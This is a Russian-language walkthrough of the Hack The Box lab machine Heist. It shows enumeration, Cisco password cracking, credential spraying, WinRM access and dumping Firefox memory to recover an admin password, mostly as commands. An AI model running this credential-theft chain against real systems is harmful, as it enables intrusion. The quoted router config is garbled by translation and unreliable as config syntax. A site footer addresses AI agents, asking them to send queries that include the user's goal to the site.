> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md).

# Разбор Heist HackTheBox

Разбор Heist HackTheBox для Windows, описывающий восстановление пароля Cisco, подбор учётных данных, доступ через WinRM и анализ памяти Firefox.

{% embed url="<https://app.hackthebox.com/machines/Heist>?" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление веб-ресурсов с Gobuster
* Восстановление паролей Cisco Type 5 и Type 7
* Проверка учетных данных с NetExec
* Доступ WinRM с Evil-WinRM
* Анализ памяти процесса с ProcDump
  {% endhint %}

## Разведка

### Настройка рабочей среды

Создайте папки для результатов сканирования, найденного контента, скриптов и эксплойтов.

```bash
mkdir -p {nmap,content,script,exploit}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqOReCEWhEKG1ndhNJ5Va%2Fimage.png?alt=media&amp;token=32d190ee-d8e8-46e1-b012-1d44528e7dbe" alt=""><figcaption></figcaption></figure>

### Обнаружение портов

Выполните полное TCP-сканирование, чтобы определить открытые порты.

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts
```

Сканирование показывает HTTP, RPC, SMB, WinRM и динамический порт RPC.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTDxEzgTmeY5YyhCtw0mU%2Fimage.png?alt=media&amp;token=cc1a2e92-8a9a-4a36-8999-259e2a68c1e4" alt=""><figcaption></figcaption></figure>

Выполните целевое сканирование версий для обнаруженных служб.

```bash
sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F968UHGF2zuMQlJlZUkyt%2Fimage.png?alt=media&amp;token=43483bbd-0748-4ddf-ab72-ab21f3f43174" alt=""><figcaption></figcaption></figure>

### Перечисление веб-ресурсов

Порт `80` содержит панель входа.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FbkbNLYItvfN1LZlSsh%2Fimage.png?alt=media&amp;token=c9b42b08-4f60-404d-b551-21148d20b387" alt=""><figcaption></figcaption></figure>

Перечислите PHP-эндпоинты с помощью Gobuster.

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzTbrsan32JX09wf9806o%2Fimage.png?alt=media&amp;token=6a19af0c-ac63-46fa-b817-a7115408ebcf" alt=""><figcaption></figcaption></figure>

Сканирование показывает страницы, включая `issues.php`, `login.php`, и `attachments.php`.

Эта `issues.php` на странице находится тикет от Hazard в Support. В нем упоминается неверная конфигурация Cisco.

Тикет также раскрывает `hazard` и `support` имена пользователей.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ7HcCtW5mtxtvjOd0c5T%2Fimage.png?alt=media&amp;token=a0a52ebd-f196-4762-b3a9-7668607d256b" alt=""><figcaption></figcaption></figure>

Вложение содержит конфигурацию Cisco.

```wasm
версия 12.2
без служебного заполнения
шифрование паролей службы
!
isdn switch-type basic-5ess
!
имя хоста ios-1
!
минимальная длина паролей безопасности 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 синхронизация
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 таймеры bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
без HTTP-сервера ip
без защищенного HTTP-сервера ip
!
line vty 0 4
 тайм-аут сеанса 60002375012182C1A1D751618034F36415408
 авторизация exec SSH
 transport input ssh
```

Конфигурация содержит `enable secret` хэш и два пароля Cisco Type 7.

```bash
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
```

Взлом хэша Type 5 восстанавливает `stealth1agent`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F90GdxEAtIo4EhDpvv1RX%2Fimage.png?alt=media&amp;token=1d4fc4a2-4ae8-4397-9b0d-b22767224f20" alt=""><figcaption></figcaption></figure>

Проверьте восстановленный пароль через SMB. Он работает для `hazard`.

```bash
nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fn285M7xlJvIBZ5SPnECb%2Fimage.png?alt=media&amp;token=315340c7-c09f-4ce7-8498-cb052ac40be8" alt=""><figcaption></figcaption></figure>

Попробуйте сеанс WinRM с теми же учетными данными.

```wasm
evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90"
```

Подключение не удается, потому что `hazard` не имеет доступа к WinRM.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMleSVT0Ekh8n0I0AoHQ2%2Fimage.png?alt=media&amp;token=f9117b8d-e12e-4cd0-8d9c-eecc7941106f" alt=""><figcaption></figcaption></figure>

### Перечисление пользователей

Используйте перебор RID, чтобы перечислить локальных пользователей.

{% code overflow="wrap" %}

```bash
netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute
```

{% endcode %}

Это возвращает следующих пользователей:

* Hazard
* Support
* Chase
* Jason

### Восстановление пароля Cisco Type 7

Восстановите оставшиеся зашифрованные пароли из конфигурации.

```
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
```

Используйте декодер Cisco Type 7, чтобы расшифровать оба значения.

{% embed url="<https://password7decrypt.com/>" %}

Расшифрованные пароли:

* $uperP\@ssword
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIyABMXOegMlexSK0yz76%2Fimage.png?alt=media&amp;token=0c220856-be96-42e4-84d9-c0109a14488b" alt=""><figcaption></figcaption></figure>

Создайте список кандидатов пользователей.

{% code overflow="wrap" %}

```bash
Support
Chase
Jason
```

{% endcode %}

Создайте список паролей.

{% code overflow="wrap" %}

```bash
$uperP@ssword
Q4)sJu\Y8qz*A3?d
```

{% endcode %}

Проверьте каждую комбинацию пользователя и пароля через SMB.

{% code overflow="wrap" %}

```bash
nxc smb 10.129.6.90 -u users.txt -p passwords.txt
```

{% endcode %}

Результаты определяют действительные учетные данные для `Chase`:

* Chase
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJB189NXsItpBWQk4fd0v%2Fimage.png?alt=media&amp;token=815230a0-48f6-44aa-9ff7-6c5a45810a82" alt=""><figcaption></figcaption></figure>

### Начальный доступ

Подключитесь как `Chase` через WinRM.

{% code overflow="wrap" %}

```bash
evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" 
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7lK9eyN5QyDVSqlKad9g%2Fimage.png?alt=media&amp;token=7dfd10fd-7349-429a-89b1-134b208f1836" alt=""><figcaption></figcaption></figure>

Получите флаг пользователя.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFjCKbM9nIriJB46D3RJR%2Fimage.png?alt=media&amp;token=85396242-14ec-4140-8d0e-10a3f7515b0b" alt=""><figcaption></figcaption></figure>

### Повышение привилегий

Выполните `ps` и заметите, что Firefox запущен.

```bash
ps
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FA1n0IQYvFJDHTKeI45Bj%2Fimage.png?alt=media&amp;token=3c1c5b27-2c9e-4bca-8999-4f564dcfc498" alt=""><figcaption></figcaption></figure>

Активный процесс браузера может содержать учетные данные в памяти.

Используйте ProcDump, чтобы снять дамп памяти процесса Firefox.

```bash
wget https://download.sysinternals.com/files/Procdump.zip
```

{% embed url="<https://download.sysinternals.com/files/Procdump.zip>" %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FK9dIEMH7NwfRv0uXzTQw%2Fimage.png?alt=media&amp;token=fc2ea817-b35e-4d5a-ac9f-648536e69d14" alt=""><figcaption></figcaption></figure>

Загрузите `procdump64.exe` на целевую машину.

```bash
upload /workspace/procdump64.exe
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrrR4IPuXshaoDHvkE5TE%2Fimage.png?alt=media&amp;token=ae2dadfe-73ac-4f32-97ed-70ded6084c41" alt=""><figcaption></figcaption></figure>

Создайте дамп процесса Firefox.

```bash
.\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj7MIwvhHL3g6e8ZAhsD3%2Fimage.png?alt=media&amp;token=6c4edb8f-4431-4ee1-87a7-a4e550af1a41" alt=""><figcaption></figcaption></figure>

Скачайте дамп памяти для локального анализа.

```bash
download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp
```

Скачивание занимает время, потому что дамп большой.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2ForgiFCaXh6mYpsIdnQTS%2Fimage.png?alt=media&amp;token=88dd588f-b1dd-4d87-b8cb-0d25bd7b283e" alt=""><figcaption></figcaption></figure>

Ищите в дампе строки со значениями, связанными с паролями, вместо того чтобы ждать полного просмотра.

```bash
strings firefox_debug.dmp | grep password
```

Это раскрывает учетные данные административной учетной записи.

```bash
admin@support.htb&login_password=4dD!5}x/re8]FBuZ
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIlZxA9b4YhR1qllYqwZ2%2Fimage.png?alt=media&amp;token=844b6a38-e9a0-4bed-9ea5-ceb40af9f34c" alt=""><figcaption></figcaption></figure>

Проверьте восстановленный пароль через SMB.

```bash
nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ"
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6DnvAaLKt2G1Bjh4LE8z%2Fimage.png?alt=media&amp;token=07448459-f99c-4dda-a820-2ef39fe6fdcc" alt=""><figcaption></figcaption></figure>

### Доступ администратора

Подключитесь через WinRM как `Administrator`.

{% code overflow="wrap" %}

```bash
evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
```

{% endcode %}

Сеанс имеет права администратора.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcjDMzpXiD8bk1FuxlBJC%2Fimage.png?alt=media&amp;token=cd3ac9fe-9aee-4266-b119-9d4df5c92395" alt=""><figcaption></figcaption></figure>

Получите root-флаг.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FSJovMcUzgzs1WJlTjhJX%2Fimage.png?alt=media&amp;token=5ffdbdd9-23d8-46fb-b9d9-440592279fb6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FoSJc7djp77KQv3iVHfil%2Fimage.png?alt=media&amp;token=2745d3ae-80c5-4f0e-84ad-70840d7944da" alt="" width="546"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
